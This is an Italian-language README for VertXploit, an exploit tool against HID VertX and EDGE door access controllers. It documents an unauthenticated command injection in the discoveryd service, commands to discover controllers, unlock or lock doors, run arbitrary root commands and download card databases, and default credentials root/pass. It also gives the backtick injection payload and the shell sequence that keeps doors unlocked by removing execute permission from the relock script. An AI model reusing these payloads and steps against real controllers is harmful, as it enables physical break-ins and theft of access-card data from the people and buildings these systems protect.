
Sfruttamento dei sistemi di controllo accessi HID VertX e EDGE
Exploit dei sistemi di controllo accessi HID VertX e EDGE
VertXploit è uno strumento che può essere utilizzato per sfruttare i sistemi di controllo accessi HID VertX e EDGE.
Esiste una vulnerabilità nel servizio discoveryd, che non riesce a sanificare i dati dell'utente prima di eseguire chiamate di sistema. Ciò consente l'esecuzione arbitraria di codice sui sistemi di controllo accessi HID VertX e EDGE senza necessità di autenticazione. Vedere la sezione Iniezione di comandi per maggiori informazioni.
VertXploit può sbloccare o bloccare le porte collegate al sistema di controllo accessi, scaricare i database contenenti tutte le tessere di controllo accessi provisionate/memorizzate nella cache ed eseguire comandi arbitrari come root sul sistema VertX, se vulnerabile.
Se il firmware del controller VertX è stato aggiornato di recente, vertXploit tenterà di sbloccare o bloccare le porte tramite la console web utilizzando il nome utente e la password predefiniti o forniti dall'utente.
Eseguire pip install -r requirements.txt per installare i moduli Python richiesti.
Eseguire ./vertXploit.py -h per visualizzare il menu di aiuto, oppure ./vertXploit.py ACTION -h per visualizzare l'aiuto per un'azione specifica.
Eseguire vertXploit con il solo argomento di azione discover per individuare tutti i sistemi di controllo accessi HID sulla rete broadcast locale. Se viene fornito un indirizzo IP con l'argomento opzionale --ip IP, vertXploit userà python-nmap per scansionare quell'intervallo di rete /24 alla ricerca di sistemi con la porta 4050 aperta. VertXploit invierà quindi un pacchetto UDP di discovery all'indirizzo IP identificato per determinare se quel sistema è un pannello di controllo accessi HID.
Esempio:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
Una volta individuato un controller, eseguire vertXploit con l'argomento di azione fingerprint e l'indirizzo IP del controller di accesso per ottenere informazioni dettagliate sul pannello di controllo accessi.
Esempio:
./vertXploit.py fingerprint 10.1.10.5
Per sbloccare o bloccare le porte collegate al pannello di controllo accessi, eseguire vertXploit con l'argomento di azione unlock o lock e l'indirizzo IP del controller. Se il controller non è vulnerabile all'exploit di iniezione di comandi, vertXploit tenterà di sbloccare o bloccare le porte tramite la console web. Questo metodo utilizza il nome utente predefinito 'root' e la password predefinita 'pass', oppure è possibile fornire i propri tramite gli argomenti --username USERNAME e --password PASSWORD.
Esempio:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
È possibile eseguire comandi Linux arbitrari sul sistema di controllo accessi utilizzando l'argomento di azione raw e l'indirizzo IP del controller. Il comando potrebbe non essere eseguito se non è installato sul controller (Python, Perl, Ruby, ecc.). Come semplice prova di concetto, il comando Linux nativo 'ping' sembra funzionare su tutti i modelli VertX e EDGE testati.
Esempio:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Per scaricare i database delle tessere del controller, eseguire vertXploit con l'argomento di azione download e l'indirizzo IP del controller. Il controller deve essere vulnerabile alla vulnerabilità di iniezione di comandi e devi poter accedere all'interfaccia web del controller per scaricare i due database delle tessere. Per l'autenticazione web vengono utilizzati il nome utente predefinito 'root' e la password predefinita 'pass', oppure è possibile fornire i propri tramite gli argomenti --username USERNAME e --password PASSWORD.
Esempio:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
Dopo aver scaricato i database 'IdentDB' e 'AccessDB' dal controller, usare l'argomento di azione dump per eseguire il dump del contenuto dei database. Facoltativamente, è possibile specificare il percorso locale dei file dei database con l'argomento --path PATH.
Esempio:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
In genere, più controller di accesso VertX o EDGE vengono installati e collocati insieme. Il comando diagnostico command_blink_on può essere inviato a un controller specifico e fa sì che il LED fisico "Comm" del pannello lampeggi per l'identificazione visiva. Questo comando di solito termina con il numero di volte che il LED deve lampeggiare, nel caso seguente, 30 volte.
command_blink_on;044;00:11:22:33:44:55;30;
Sostituendo il numero di lampeggi con un comando Linux racchiuso tra backtick, il comando verrà eseguito sul controller di accesso come root.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Per sbloccare e bloccare da remoto le porte collegate al sistema di controllo accessi, i comandi vengono scritti in /tmp/a. Questo viene fatto perché esiste un limite di lunghezza di 41 caratteri, senza contare i due backtick, che possono essere inviati al controller. Nota: viene usato echo invece di printf perché alcuni controller VertX più vecchi eseguono BusyBox < 1.0.1 che non include printf.
Le nuove righe generate dall'echo dei comandi nel file vengono poi rimosse eseguendo tr -d '\n' < /tmp/a > /tmp/b e le nuove righe intenzionali vengono inserite eseguendo tr '!' '\n' < /tmp/b > /tmp/a.
Lo script /tmp/a viene quindi eseguito ed entrambi i file vengono eliminati. Di seguito vengono mostrati i comandi che vengono scritti in /tmp/a quando i comandi di sblocco e blocco vengono inviati al controller VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi